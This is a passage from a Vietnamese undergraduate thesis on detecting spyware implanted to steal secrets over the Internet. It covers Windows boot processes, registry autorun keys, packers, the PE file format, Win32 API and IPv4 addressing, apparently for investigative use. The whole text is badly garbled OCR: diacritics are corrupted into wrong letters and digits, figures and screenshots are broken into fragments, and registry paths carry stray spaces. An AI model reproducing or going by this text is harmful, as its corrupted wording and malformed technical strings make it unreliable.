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Lol cAm on
Trudc hét, em xin giri 161 cam on siu sac t6i TS Ho Vian Canh, nguoi da goi mo
va hudng din em di vao tim hiéu dé tai: “Phwong phap phat hién phan mém cai cim
v6i muc dich thu tin bi mat trén mang Internet”, nguoi da hét long gitp d&, huéng

dan dé em hoan thanh do an nay.

Em xin cam on cac Thay, C6 trong Khoa Céng nghé Théng tin, Ban giam hiéu,
Phong ban trong truong Pai hoc Quan ly va Cong nghé Hai Phong da day dd, diu
dat va dong vién chiing em tir nhitng ngay dau chap ching budc chan vao cong
truong Pai hoc. Thay, Co di tao cho chung em moéi trudng hoc tap, nhimg diéu kién
thuan loi cho chiing em hoc tap tét, trang bi cho ching em nhiing kién thirc quy bau

gilp ching em c6 thé vimg budc trong tuong lai.

Xin cam on cac ban da gitp d&, cung chia sé kinh nghiém hoc tap trong suét

nhitng nam thang tai HPU.
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MO PAU
1. Tinh cip thiét caa dé tai

Hon muoi nam tham nhap vao Viét Nam, Internet nhanh chong tao ra nhiing
bién doi 16n trén nhiéu mat. Poi song van héa trd nén da dang, phong phu hon voi
nhiéu ngudn théng tin tir mang. Nén khoa hoc céng nghé nuéc nha timg budc hién
dai. Ung dung cong thong tin dugc trién khai rong réi. Tuy nhién, cling véi nhiing
thuan loi ma Internet mang dén, chung ta ciing phai d6i mat véi khéng it khé khan.
D6 1a nhiing nguy co vé vin hoa phi lanh manh, nguy co tir cac chuong trinh doc
hai (virus, trojan, keylogger....), ltra dao truc tuyén, toi pham céng nghé cao... Cac
chuong trinh doc hai thuong duoc tao ra véi nhiéu muc dich nhu dua nghich, pha
hoai... va nhiéu khi duoc cai cim vao mat tinh dé thu thap nhiing thong tin. Ching
thuong hoat dong dudi ché do an (background) do d6 rat khd nhan biét. Loi dung
dic diém nay, co quan dic biét ciia nhiéu qudc gia da str dung phan mém cai cam dé
thu tin bi mat, do d6 rat khé dé phat hién va dau tranh.

Van dé phét hién va xa ly cac phan mém cai cam da duoc tién hanh tir lau
nhung viéc nghién ciu va ing dung van dé nay vao cdng tac nghiép Cong an thi hau
nhu rat it. Nhan thdy ddy 1a mot van dé hay va méi la, em da chon dé tai: “ Phéat hién
phan mém cai cam dé chan thu tin bi mdt qua mang internet *’ d¢ lam d6 an tot
nghiép, mong muédn ap dung nhitng kién thirc da hoc vao thuc tién.

2. Muc dich va nhiém vu nghién cau

- Nghién ctru co ché hoat dong ciia phan mém cai cam, dau hiéu khi bi cai cam,
tir 46 néu ra nhitng danh gia, két luan.

- Tong két kinh nghiém, dé xuat phuwong phap phat hién va xir Iy phan mém cai

-

cam.
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3. Pham vi nghién cau

- Tong quan vé may vi tinh va chuong trinh may tinh, mang Internet, van dé thu
tin cong khai va thu tin bi mat.

- Tong quan vé hé diéu hanh Windows, PE file va Windows Registry.

- Binh nghia, dic diém, phuong phap phat hién va xa Iy phan mém cai cam voi
Muc dich thu tin bi mat.

- Lap trinh hop ngr (Assembly) va phuong phat Reverse Engine, phan tich
registry cua hé diéu hanh Windows, str dung cac cong cu dé phan tich hanh vi cua

phan mém.
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CHUONG 1: TONG QUAN
1.1. May tinh va hoat dong cia may tinh

May tinh hay may vi tinh 1a mot thiét bi doc lap duoc trang bi cac phan mém,
tién ich cling vai cac thiét bi vao ra, cac thiét bi ngoai vi khac dé thuc hién tinh toan
hay kiém soét cac hoat dong ma c6 thé biéu dién dudi dang sé hay quy luat logic.

May tinh duoc lap ghép boi cac thanh phan c6 thé thyuc hién céc chirc nang don
gian da dinh nghia trudc (Chia ra 1am 2 loai 1a phan cang va phan mém). Qua trinh
tac dong twong hd phic tap cua cac thanh phan nay tao cho may tinh mot kha nang
xtr ly thong tin. Néu duoc thiét 1ap chinh xéac (théng thuong boi cac chuong trinh
may tinh) may tinh c6 thé md phong lai mot sé khia canh caa mét van dé hay cua
mét hé thdng. Trong truong hop nay, khi dugc cung cadp mot bo dix ligu thich hop
no c6 thé tu dong giai quyét van dé hay du doan trude su thay doi cia hé thong.

Hoat dong ctia may tinh c6 thé dugc mé ta nhu sau:

“ Khi ngudn dién dugc khoi dong, BIOS (Basic Input/ Output System) ctiia may
tinh s& doc thong tin dugc ghi & bo nhd ROM trén mainboard dé thyuc hién cac thao
tac kiém tra phan cang, doc ngay gio. .. sau do trao quyén diéu khuyén cho hé diéu
hanh. Hé diéu hanh nap cac chuong trinh tir 6 dia cttng 1én b nhd RAM dé thyc thi.
Cac két qua caa chuong trinh duoc luu trit vao 6 cang. Khi tat ngudn dién, chico 6
cimg luu giit duoc dit liéu va trang thai caa hé théng. Hiéu dugc hoat dong caa may
tinh gitp chiing ta xac dinh dugc hién treong vu viéc. Khi xir Iy vu viéc, yéu cau sao
lru hé théng duoc dit ra dau tién, tuy nhién khéng can thiét phai tich thu toan bo hé
théng ma chi can sao luu 6 dia ciing ciia may tinh dé thao tac. Biéu nay la hop ly,
nhét 1a trong truong hop phai gitt nguyén hién truong, khong dé ddi tugng phat hién

may tinh caa minh da bi tiép can.
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1.2. Qua trinh khéi dong Windows va hoat ddng ciia chwong trinh trén nén
Windows

Duéi day mo ta qué trinh hoat dong cua cac hé diéu hanh Windows dua trén
nhan NT.

Sau khi BIOS khéi dong xong, n6 sé trao quyén diéu khién lai cho hé diéu hanh.
Windows doc sector dau tién caa phan viing ndy, goi 1a boot sector, va thyc thi 1énh
& d6. Doan ma 1énh nay sé& doc thu muc géc cia phan ving, tim kiém mét file duoc
goi 1a ntldr (NT Loader). Néu tim duoc file nay, né s& doc file d6 vao bd nhé va

thuc thi. Ntldr s& tai hé diéu hanh vao bo nho.

Tiép theo, ntldr s& doc 1 file goi la boot.ini, la théng tin cau hinh duy nhét
khong chira trong registry. N6 liét ké tat ca cac phién ban cua hal.dll va ntoskrnl.exe
c6 san dé khoi dong trong phan ving nay. Céc file nay cung cip nhiéu tham so, nhu
s6 lugng CPU, dung luong RAM st dung, ¢6 cho phép nguoi dung xt Iy 2 GB hoac
3 GB dit liéu hay khdng va tan sé xung (rate) duoc thiét 1ap cho dong hd thoi gian
thuc. Ntldr tiép tuc lua chon va tai cac hal.dll va ntoskrnl.dll ciing nhu fule
bootvid.dll, chuwong trinh diéu khién (driver) video mac dinh dé hién thi thong tin
qué trinh khai dong. Tiép do, ntldr.dll doc registry dé tim ra nhiing trinh diéu khién
can thiét dé hoan tat viéc khoi dong (vi du, chuong trinh diéu khién ban phim va
chudt, va hang ta cac trinh diéu khién cho céc chip & trén mainboard). Cudi cung, n6

doc tat ca cac driver va trao quyén lai cho ntoskrnl.exe.

Khi khai dong, hé diéu hanh s& goi cac thanh phan thyc thi dé thuc hién mot vai
thiét lap thong thuong nao d6. Vi du, trinh diéu khién dbi twong (object manager)
chuan bi khdng gian t&n (name space) cua né dé cho phép cac thanh phan khac goi
no va thém déi twong vao khong gian tén. Nhiéu thanh phan ciing c6 thé thuc hién

duoc cdng viéc riéng biét lién quan dén chirc nang cta ching, vi du nhu trinh diéu
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khién bo nhé co thé thiét 1ap bang phan trang ban dau trinh diéu khién cam-chay
(plug-and-play) c6 thé biét duoc nhitng thiét bi nhap/xuat hién tai va tai trinh diéu
khién cho chiing. N6i chung, ¢ hang loat budc xay ra. Budc cudi clng 1a tao ra tién
trinh ngudi st dung thuc sy dau tién, trinh diéu khién phién (session manager),
smss.exe. Mot khi tién trinh nay duoc goi va thuce thi c6 nghia 1a qua trinh khoi dong
da két thac.

Trinh diéu khién phién Ia tién trinh nguyén so ciia Windows. N6 thuc hién cac
loi goi hé thong thuc su va khdng sir dung méi truong hé théng phu Win32, 1a moi
trudng ma lGc ndy van chua hoat dong. Thuc ra, mot trong nhitng nhiém vu dau tién
cua no la tao ra chinh né (csrss.exe). N6 ciing doc cac nhanh registry tir dia va nhan
biét cac nhiém vu cua no. Thong thuong cong viéc cia nd bao gom viéc dua cac doi
tuong vao khdng gian tén cua trinh diéu khién dbi twong, tao ra cac phan trang tap
tin m& rong va mo cac DLL quan trong dé st dung chung thuong xuyén. Sau khi da
hoan tat cac céng viéc ndy, no tao ra chuong trinh ding nhap (login daemon),
winlogon.exe.

Nhu vay, hé diéu hanh da hoat dong. Bay gio 1a thoi diém thuc thi céac tién trinh
dich vu (khong gian chuong trinh nguoi st dung) va cho phép nguoi st dung dang
nhap. Winlogon.exe trudc tién tao ra trinh xac thuc (Isass.exe), va sau do 1a tién
trinh chu cua tat ca cac dich vu (services.exe). Tién trinh chu nay s& tim kiém trong
registry nhiing tién trinh can thiét trong khong gian tién trinh nguoi dung va cac file
chtra chdng, rdi tao ra ching. Thuc té, dia thuong hoat dong rat ning sau khi nguoi
dung dau tién ding nhap, nhung d6 khong phai 1a 16i cua nguoi ding. Tha pham 14
services.exe da tao ra tat ca cac dich vu. Thém vao d6, n6 con tai thém céc trinh diéu

khién thiét bi con thiéu. Qua trinh d6 c6 thé duoc md ta dudi day nhu sau:

Tién trinh Mo ta

Idle Khong thuc s 12 1 tién trinh,ma 1 1 tiéu trinh cho doi
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System Tao ra smss.exe va phan trang tap tin, doc registry, mo DLL
smss.exe Tién trinh dau tién, tiép tuc khai tao; tao ra csrss va winlogon
csrss.exe Tién trinh hé théng con Win32
winlogon.exe Chuong trinh dang nhap
Isass.exe Chuong trinh quan ly xac thuc
service.exe Tim kiém trong registry va khai dong céc dich vu

Bang 1. Cay phan cap qué trinh khai dong caa Windows dya trén nhan NT

Cac dich vu ¢ day c6 thé 1a may phuc vu in an, may phuc vu file, trinh Telnet,
diéu khién mail dén, diéu khién fax dén, giai phap DNS, nhat ky su kién, trinh diéu
khién cam- chay...

Winlogon.exe dap ting cho moi ngudi st dung. Hop thoai dang nhap thuc su
duoc diéu khién boi 1 chuong trinh riéng biét trong msgina.dll nham dam bao cho
no c6 thé thay thé cach diang nhap chuan (bang tén mat khau) bang nhan dang van
tay hoic cach xac thuc khac. Sau khi dang nhap thanh cdng, winlogon.exe lay thong
tin c& nhan cta ngudi dung trong registry va chinh né dé quyét dinh thuc thi nhitng
shell nao. Nhiéu ngudi khong nhan ra diéu d6, nhung man hinh desktop cua
Windows chuan chi c6 explorer.exe véi mot tlly chon nao d6. Néu muon, ngudi sir
dung c6 thé chon bat ci chwong trinh nao nhu céc shell, bao gom
command.com/cmd.exe hoic ngay ca Word, bang cac chinh sua registry. Tuy
nhién, viéc chinh sira registry khong danh cho nguoi thiéu hiéu biét; mot 16i 1am c6
thé khién cho hé thdng khdng thé str dung duoc.

Quaé trinh khoi dong cua cac hé diéu hanh Windows dya trén nhan NT vé sau
vé co ban ciing gidng nhu trén.

Trén day ta d3 nam duoc qué trinh khoi dong cua hé diéu hanh Windows, vay
mot chuong trinh phan mém hoat dong ra sao trén nén hé diéu hanh do6 ?

Chuong trinh 13 mot ddy cac ménh 1énh ¢ thé duoc thuc thi bai may tinh. Cac

chuong trinh dugc tao ra bang cac ngdn ngir 1ap trinh, mdi chuong trinh c6 thé c6
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nhiéu module, trong d6 cac module cd thé goi module khéc trong cing chuong trinh,
va ciing c6 thé goi dén cac module cta chuong trinh khéc. Sau d6 chuong trinh duoc
dich thanh PE file du6i dang nhi phan (*.com, *.exe, *.dll...) dé c6 thé thuc thi.
Chuong trinh chi hoat dong duoc khi c6 tac nhan kich hoat no. 6 co thé 1a:

- Do ngudi dung kich hoat (¢ y hoidc vo y)

- Do hé diéu hanh kich hoat. Hé diéu hanh cé thé kich hoat cac chuong
trinh theo 2 céch:

+ Poc thong tin tir cac file cau hinh cua Windows va registry (sé néi ré o
phan sau).

Céc phién ban Windows tir Windows 98 trd vé trude doc théng tin thiét 1ap
trong céc file ciu hinh nhu win.ini, system.ini va autoexec.bat dé kich hoat cac
chuong trinh khéi dong. Tir phién ban Windows 2000 tro di, tuy cac file nay van
c6 trong cau tric hé diéu hanh nhung khong con dugc sir dung nita.

Cac chuong trinh ciling c¢6 thé dugc thuc thi bang cach tao cac khda o trong
registry, thuong ¢ nhitng khoa sau:

o Registry Shell open

[HKEY CLASSES ROOT\exefile\shell\open\command] [HKEY
_LOCAL_ MACHINE\SOFTW ARE\Classes\exefile\shell\open \command]

Mot khoa cé gia tri “%1 %*°, sé tu dong duoc thuc thi méi khi thi hanh mot
file.exe.

VD: “program.exe %1 %*”

o Alternate Registry Keys

[HKEY _CLASSES ROOT\.exe] @="myexefile"] [HKEY _LOCAL_
MACHINE\Software\CLASSES\myexefile\shell\open \command\

@="program.exe %1 %*"]

o Main Registry
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[HKEY _LOCAL_ MACHINE\Software\Microsoft\  Windows\Current
Version\RunServices]

[HKEY _LOCAL_  MACHINE\Software\Microsoft\  Windows\Current
Version\RunServicesOnce]

[HKEY LOCAL_MACHINE\Software\Microsoft\ Windows\Current
Version \Run]

[HKEY _LOCAL_ MACHINE\Software\Microsoft\ Windows\Current
Version\RunOnce]

[HKEY _CURRENT __USER\Software\Microsoft\ Windows\CurrentVersion
\Run]

[HKEY CURRENT _USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce]

[HKEY CURRENT _USER\Software\Microsoft\ Windows\CurrentVersion
\RunServices]

+ Cac chuong trinh/module cua Windows goi dén.
Do chuong trinh/ module khac (khéng phai ciia Windows) kich hoat bang ma Iénh.

Khi da dugc kich hoat, chwong trinh sé thuc hién nhiém vu ctia n6 duéi dang
tuong minh hoic an (background) ma ngudi sir dung kho nhan biét. Trong qua trinh
d6, no ciling co thé goi thém cac chuong trinh/module khac.

Trong thuc té, cac chuong trinh sau khi dwoc lap trinh thuong dugce dong goi
lai (packed) bang cac cong cu nhu UPX, ARM Protector, FSG, MEWI1I,
SLVcOdeProtector, WinUPack, Armadillo, ACProtect[3]... Muc dich cua viéc nay
nham:

Giam dung luong cua phan mém: cac chuong trinh packer cho phép nén dung lugng

ctia phan mém, thuan lgi cho viéc phan phdi va cai dit phan mém
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Tao mot 16p bao vé cho phan mém: nhiéu chuong trinh packer st dung céc thuat
toan dé ma hoa Iénh (code) cta chuwong trinh, nham bao vé phan mém tranh né cac
cracker muén thém cac doan code vao file (ki thuét Inject Code dé thém chiic ning)
hoac unpack bing tay (manual unpacking), hoic crack phan mém. Bén trong cac
chuong trinh di bi pack, cac section, bang import tables thudng bi thay d6i, [am mat
hiéu luc va cac phan dir liéu thi ludn bi ma héa. Import tables 12 bang chira thong tin
cac thu vién duoc chuong trinh sir dung. Viéc ma hoa code, thay d6i import tables
s€ gay ra kho khan trong viéc phan tich chuong trinh.

Ngoai ra, do phan mém dugc ma hda nén cac chuong trinh packer con chén thém
ma lénh dé unpack phan mém vao bd nha ldc thyc thi va sau d6 nhay téi Original
Entry Point (OEP: day la noi ma chuong trinh gdoc thuc sy bat dau). Do d6, néu chi
doc code ctia chuong trinh mot cach don thuan thi khéng thé phét hién dugc dau 1a
OEP cua chuong trinh ma phai thyc thi ndé trong mot moi truong an toan (safety
environment) va phan tich thi méi xac dinh duoc chinh xac.

Nhu da noi ¢ trén, khi thuc thi, ma Iénh ctia chuong trinh duoc nap vao vung
nhd. Mat con tré 1énh (Instruction Pointer) tro dén Iénh can thuc hién tiép theo. Hé
diéu hanh sé& doc con tro lénh nay dé thyc thi chuong trinh.

1.3. Giao dién lap trinh @wng dung Windows (Win32 Application
Programming Interface)

Gidng nhu cac hé diéu hanh khac, Windows c6 mét tap hop cac 1oi goi hé
théng ma né cé thé thuc thi. Tuy nhién, Microsoft khdng bao gio cong bb danh sach
cac 1oi goi hé théng, va n6 ludn ludn thay ddi theo phién ban. Thay vao dé, nhiing
gi ma Microsoft lam la dinh nghia mot tap hop cac loi goi ham dat tén la Win32 API,
duoc cong b véi day du tai lieu. C6 nhiéu thu vién tha tuc dé thyuc hién cac loi goi

hé théng nham tién hanh cong viéc, hoic, trong trudng hop nao dé, 1am dung viéc
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trong khong gian nguoi st dung. Win32 API hién c6 khong thay doi trong c&c phién

ban Windows, mac di ¢ nhiéu 16i goi API duoc bd sung thuong xuyén.

Win32
application
program

Win32 Application Programming Interface

Windows
95/98/Me

Nhiéu 11 goi hé théng tao ra cac ddi twong nhan (kernel object) cua mot trong
cac loai sau dy: file, tién trinh (processes), tiéu trinh (threads), ludng (pipes) va cac
loai khac. Mdi 1i goi thiét 1ap mot ddi tuong va tra vé mot két qua goi 1a mot handle
(kénh diéu khién) cho 1i goi. Tiép theo handle cd thé duoc sir dung dé thuc hién céac
thao tac trén ddi tugng. Cac handle duoc dic ta dé cac tién trinh thiét lap ddi tuong
dung nhu handle yéu cau. Chiing khong thé duoc truyén truc tiép cho tién trinh khach
st. Tuy nhién, trong mét truong hop nao do, co thé sao chép mot handle va truyén
sang mat tién trinh khach bang cach an toan, cho phép céc tién trinh diéu khién dbi
tugng cua riéng minh. Mdi d6i twong c6 mot mo ta bao mat riéng, noi rd ai co thé va

khong thé thuc hién nhitng thao tac ndo trén ddi twong do.

Ban than hé diéu hanh ciing c6 thé tao va sir dung cac d6i tuong tuy nhién diéu
d6 rat cham chap. Hau hét cac d6i tuong duoc thiét lap dé cho phép mot thanh phan

cua hé théng luu trir thong tin trong mot khoang thoi gian hoac truyén mot cau tric
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dir liéu nao d6 sang mot thanh phan khéc. Vi duy, khi mot chuong trinh diéu khién
thiét bi dugc nap, mot ddi twong dugc khoi tao dé diéu khién thuoc tinh va con tro
(pointer) s& tré dén céc chirc ning ma né cé. Khi do trong hé diéu hanh, chuong trinh

diéu khién duogc tham chiéu bang cach st dung dbi twong cua no.

Cac 10i goi Win32 API bao quéat timg linh vuc dé hiéu, dé giai quyét trong hé
diéu hanh, va mot vai linh vuc khong d& giai quyét khac. Thong thuong sé co céc 1oi
goi dé thiét lap, quan ly cac tién trinh va tiéu trinh. Ciing c6 rat nhiéu 1oi goi lién
quan dén qué trinh giao tiép bén trong céc tién trinh (thuc ra 1a tiéu trinh), vi du nhu
thiét lap, hay bo, sir dung mutex, cac cd hiéu, cac sy kién va cac dbi twong giao tiép

giira céc tién trinh khac.

Mic du hé thong quan Iy b nhé gan nhu trong subt véi lap trinh vién (Vé co
ban, nd yéu cau phai phan trang (paging), mot chirc ning quan trong ciia no van co
thé nhén ra: dit tén chirc ning cta tién trinh, dé 4nh xa mét file vao ving nhé o cua
nd. N6 cho phép tién trinh c6 kha ning doc va ghi cac phan cua file nhu thé chiing

la nhiing tir nhd (memory word)

M6t phan quan trong caa nhiéu chuong trinh d6 1a xuat-nhap file. Dudi quan
diém cua Win32, mot file chi 1a mot day tuyén tinh céc byte. Win32 cung cip hon
60 151 goi dé tao méi, xoa file va thu muc, mo va dong file, doc va ghi chung, doc

va thiét 1ap cac thuoc tinh file, va nhiéu chirc nang khac.

M6t linh vuc khac ma Win32 cung cap céc 1oi goi d6 1a bao mat. Mai tién trinh
c6 mot 1D cho biét n6 1a tién trinh nao va mdi d6i tugng ¢6 mot danh sach diéu khién
truy nhap (Access Control List, viét tat a4 ACL) mé ta mot cach chinh x&c nhiing
ngudi str dung ndo co thé truy nhap nd va nhitng thao tac ndo cé thé thuc hién trén
nd. Céch tiép can nay cung cap mot khuynh hudng bao mat tét, trong d6 dic ta ca

nhan nao duoc cho phép hoac tir chdi quyén truy nhap riéng biét dén mdi dbi tuong.
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Thuc chat, Win32 API 1a mét tap hop cac ham dé thuc hién mot sb cong viéc
nao d6 khi chuong trinh thuc thi. Hé diéu hanh cang manh thi tap hop 1énh nay cang
phong phl va manh mé&. Do d6, ngay ca c4c nha lp trinh ciing khong thé nim viing
duoc tat ca. Nhirng phan mém doc hai thuong loi dung dic diém nay dé dat nhitng
tén dé gay nham I4n 1a cac ham API. Trén thuc té, API chi c6 ¥ nghia di véi nguoi

lap trinh, con no thyuc su trong suét ddi véi ngudi sir dung chuong trinh.

1.4. Pinh dang file thuc thi kha chuyén (Portable Executable file
format) va qua trinh thuc thi PE file

binh dang file thuc thi di dong, thuong goi 1a PE file, 1a dinh dang nhi phan
kha thi cho hé diéu hanh Windows NT, Windows 95 va cé4c hé diéu hanh Windows
32bit. Cac file thu vién lién két dong (Dynamic-Link library), cac chwong trinh, trinh
diéu khién (driver) caa hé diéu hanh Windows duya trén nhan NT, céc file ddi tuong
(object file: bpl, dpl, cpl, ocx, acm, ax), file thu vién cling & dinh dang nay.Tom lai,
nhitng file trén nén Windows c6 viing ma rong exe, dll, sys, scr, bpl,dpl, cpl, oxc,

acm, ax déu ¢ dinh dang PE file.

Dudi day 1a cau tric co ban cua PE file
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DOS MZ header
DOS stub

Header
PE header ‘

Section table

Section 1

- Section

Sectionn

Tir cau trdc trén, cd thé thay mot PE file ¢ nhiéu phan (section). Téi thiéu mot

PE file phai c6 2 section: mdt danh cho doan mé (Code) va mét danh cho dir liéu
(Data). Mot chuong trinh (ng dung trén nén Windows NT c6 9 section dugc dinh

nghia san la. text,. bss,. rdata,. rsrc,. edata,. idata,. pdata,. debug.

Nhirng section théng dung hién nay la:
1.Executable Code Section, c6 tén la. text (Microsoft) hoac. CODE (Borland).

2.Data Section, c6 tén nhu. data,. rdata hoac. bss (Microsoft) hay. DATA
(Borland).

3.Resource Section, c6 tén la. rsrc.
4.Export Data Section, c6 tén la. edata.
5.Import Data Section, c0 tén la. idata.

6. Debug Information Section, cé tén la. debug.
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Nhiing cai tén nay hau nhu it y nghia ddi véi hé diéu hanh nhung ching lai 1a

tai liéu phuc vu cho loi ich caa lap trinh vién.

Pé thuc thi mot PE file, Windows phai dung PE Loader dé nap file vao bo nhé.
Do d6 céu trdc dit liéu PE file trén dia luu trix va trén bo ving nhé 1a nhu nhau. Diéu
d6 co nghia 1a chung ta c6 thé tim kiém thong tin cta PE file khi n6 duoc nap vao
bo nhé. Tuy nhién, khéng phai bat cir section nao cua PE déu dugc nap vao ving
nhd. Viéc nap mot PE file vao vung nhé khong don gian nhu 1a copy sang noi khac
ma céc section cua PE file dugc anh xa (mapping) trén ving nhé. Mot sé section cua
file chi dugc doc ma khong dugc anh xa vao vung nhé. Cac section khong dugc anh

xa nay thuong dugc dat cudi PE file, vi du nhu. debug.

Qua trinh nap PE file vao viing nhé duoc quan Iy bai ché @ phan trang (paging)
cua ving nhé a0, mdi section bat dau & mot trang nhg (memory page). M6 hinh bo

nhd ao duoc mo ta nhu sau:
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In Memory
- t
PE File
4 Unmapped Data :
! JAata section
caibuile (I
Jext seetion Section Table
Section Table PE Headar
Higher DOS Header Higher
offsets DOS Header sbdressss

Loi ich caa viéc sir dung bo nhé a0 bao gdm:
- Cho phép tao thanh khong gian dia chi phuec tap, c6 lap cac chuong trinh véi
nhau. Piéu nay dam bao khi mot chuong trinh xay ra 16i s& khéng anh huong dén

chuong trinh khéc
- Cho phép phan quyén dbi voi cac section va tdi wu qua trinh nap section.

- Cho phép sir dung 6 ctiing 1am ving nhé thir cap khi chuong trinh ¢ trang thai
cho (idle) qua lau dé nap cac chuong trinh khach vao ving nhé Ram. Khi can, hé
diéu hanh c6 thé nap chuong trinh vao Ram tré lai va khdi phuc lai viéc thi hanh tai
noi ma no bi nging. Nho do, cac tng dung ¢ thé sir dung duoc khong gian 16n hon

b6 nhé Ram.
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1.5. Registry cta hé diéu hanh Windows

Registry 1a mot co s& dir liéu chira toan bd nhitng cau hinh va cai dit cua da sd
moi thr trong Windows, do d6 n6 con dugc goi 1a Windows Registry, tirc 1a céac
thong s6 ki thuat cia Windows, luu lai toan bd thong tin cua hé théng cling nhu cac

thong tin vé sy thay doi, Iya chon tir nhitng thiét 1ap cta nguoi dung.

Vi du nhu khi méi cai phan mém Ién Windows, thi s& duoc Registry ludn ludn
cap nhat tat ca su thay doi tir thanh phan Control Panel, dén File Asscoiations va mot
vai thay doi khéac trong menu Options cua cac tng dung chang han. T4t nhién, may
s& tu dong tao mot dong méi dé chwa vi tri cua file chay, biéu twong 12 gi, version

may,...

Dé quan sat registry cua Windows, ta c¢d thé vao menu Run, gb regedit.

B Registry Editor

- o X
File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\KeyboardClass

v Computer Name Tpe Data
HKEY_CLASSES_ROOT B Defaut] REG_SZ (value not set)
HKEY_CURRENT.USER ab)\Device\Keyboa.. REG_SZ \REGISTRV\MACHINESYSTEM\ControlSet00\Serv...

v | HKEY_LOCAL MACHINE
> | ] BCD0000000
v | | HARDWARE
APl
DESCRIPTION
v | DEVICEMAP
KeyboardClass
PointerClass
Scsi
VIDEO
RESOURCEMAP
]
saM
SECURITY
SOFTWARE
SVSTEM

HKEY_USERS
HKEY_CURRENT_CONFIG

Registry c6 cau tao gom 2 phan chinh: Key va Value.
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Key ¢ thé dugc hiéu 1a cac thu muc trén Windows, mdi key chtra nhiéu key
khac ntra, hoac value.
Value thi c6 thé nhan biét nhu cac tap tin ndm trong thu muc, bén trong chiing

1a cac thong tin ctia cau hinh.

Do d6 moi c6 101 khuyén cho moi nguoi rang, bat ctr khi nao chinh sua

Windows Registry thi phai sao luu key duoc chinh sira hay tat ca Windows Registry

dé phong truong hop c6 18i xay ra sau nay.

Registry c¢6 dang cdy nén dé quan li va sir dung. Registry cling gém 6 loai

key, hay con goi chinh xé4c 1a 6 root key cu thé 1a:

HKEY CLASSES ROOT: Luu lai nhiing thong tin chung cho ca hé thong
HKEY CURENT USER: Luu lai nhiing thong tin cho ngudi dung dang
Logon (trong tir “Logon to system”: ttrc 1a ddng nhap vao hé thong)

HKEY LOCAL MACHINE: 1a chira thong tin vé hé thong, phan cing va
phan mém.

HKEY USERS: Chtra thong tin cua moi User, mdi user 13 mét nhanh c¢é tén
1a s6 ID cua chinh user.

HKEY CURRENT CONFIG: La luu théng tin vé phan ctng dang duoc
nguoi dung su dung.

HKEY DYN DATA: la mot phan ctua nhanh HKEY_LOCAL_MACHINE

tuy nhién c6 mot sb may lai khong c6 nhanh chinh nay.

Bén canh do, value cling dugc luu trir theo dang name/ data, c6 nghia la mdi

value dugc luu kém véi gia tri that. Va mot value c6 thé duoc luu kém voi gia tri

that 13 mot trong 5 kiéu. Vay cac kiéu dit liéu duoc sir dung trong Registry sé& 1a:

« REG BINARY: Kiéu nhi phan 32bit
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« REG DWORD: Kiéu Double Word cho phép nhap dit liéu theo co s6 16
(HEX) hoic theo co sd 10 (DECIMAL)

« REG EXPAND SZ: Kiéu chudi mé rong dic biét.

« REG_MULTI_SZ: Kiéu chudi dic biét

« REG SZ: Kiéu chudi chuan

Registry hoan toan sin sang d6i véi 1ap trinh vién trén nén Win32. C6 nhitng 10i
goi dé tao va x6a khoa, ldy gia tri khoa va nhiéu hon thé. Céc 15i goi hitu ich nhét

dugc ligt ké dudi day:

Ham Win32 API Mo ta
RegCreateKeyEXx Tao mot khoa registry méi
RegDeleteKey Xoba khoa registry
RegOpenKeyEx Truy nhap dén khoa va diéu khién no
RegEnumKeyEx Liét ké cac khoa cap dudi cta khoa dang diéu
khién
RegQueryValueEx Tra ctru gia tri cua mét khoa

Bang 3. Mot s6 101 goi Win32 API st dung registry

Khi hé théng bi tat, hau hét thong tin registry (chtr khong phai tat ca, nhu da noi
& trén) duoc luu trit trén dia trong file goi 1a hive (cac nhanh). Hau hét chung ¢ trong
thu myc \winnt\system32\config. Vi su nguyén ven ciia ching 1 rat quan trong dbi
voi1 chirc nang 6n dinh cua hé théng, ching ta nén cap nhat, sao luu mdt cach tu dong
va ghi vao registry bang cac thao tac co ban nhat dé tranh gay ra 16i. Mt mat thong

tin trong registry yéu cau phai cai dat lai toan bo phan mém.
1.6. Tong quan vé mang Internet va phin mém gian diép (Spyware)
1.6.1. Tong quan vé mang Internet

Internet 1a mot lién mang may tinh toan cau duoc hinh thanh tir cac mang nho
hon, lién két hang triéu may tinh trén thé gidi thong qua co sé ha tang vién théng.
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Internet 12 mang ctia cac mang may tinh. Cac may tinh trong mang Internet mudn
két ndi, truyén dix liéu voi nhau phai cé nhitng quy tic chung. D6 duoc goi la cac
giao thirc mang. Giao thirc mang 1 tap hop nhitng quy tic, quy uéc vé khudn dang
dix liéu, cach guri nhan dir liéu, kiém soat hiéu qua, chat lwong truyén dit liéu, xu ly
13i va sy cb xay ra trén mang may tinh. C6 nhiéu giao thirc mang khéac nhau nhu: b
giao thac TCP/IP (Tranmission Control Protocol/Internet Protocol), UDP (User
Datagram Protocol), giao thirc IPX/SPX (Internet work Packet Exchange/Sequenced
Packet Exchange), AppleTalk,..... Tuy nhién giao thirc thuong dugc st dung nhat
van 1a TCP/IP

Trong giao thirc TCP/IP, mdi may tinh dugc xac dinh bai mot dia chi duy nhét,
d6 1a dia chi IP (Internet Protocol Address). Nho do, viéc giao tiép méi dam bao
duoc yéu cau chinh xac. Pé mot dia chi khéng bi tring lip, viéc dinh tuyén giita cac
node mang dugc dua trén nhom céc I6p mang, hoac dua trén gidgi han cua cac dia
chi c6 san, Pia chi IP duoc sir dung ban dau 1a mot con sé gom 32 bit, tac 4 byte,
duoc goi 1a IP version 4 (IPv4). Mic dinh, s6 cac bit st dung cho 16p A,B,C tuong
ung la 8.16 va 24 bit. Cac dia chi nay duogc phan chia va st dung tir nhitng nam 1970,

bao gom cac gigi han nhu hinh sau day:
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Class First Octet Octets as Network vs Host Netmask
or Series Binary
A 1-126 Network.Host.Host.Host 255.0.0.0
B 128-191 Network.Network.Host.Host 255.255.0.0
C 192-223 Network.Network.Network.Host | 255.255.255.0
D Defined for multicast operation and not used for normal
operation

E Defined for experimental use and not used for normal operation

Trong Windows, dé xem thong tin dia chi ip may tinh, ta c6 thé gé: ipconfig

trong Command Prompt:

EA Command Prompt - a X

t Windows [Version !
soft Corporation. A

C:\Users\PCripconfig

{indows IP Configuration

Ethernet adapter Ethernet:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

lWirelecs LAN adapter Wi-Fi 2@

Connection-specific DNe suffix . :

Fab2:8bc2 :e255%10

Subnet Mask . . . . .. ... L
Default Gateway

C: \Users\PCx_

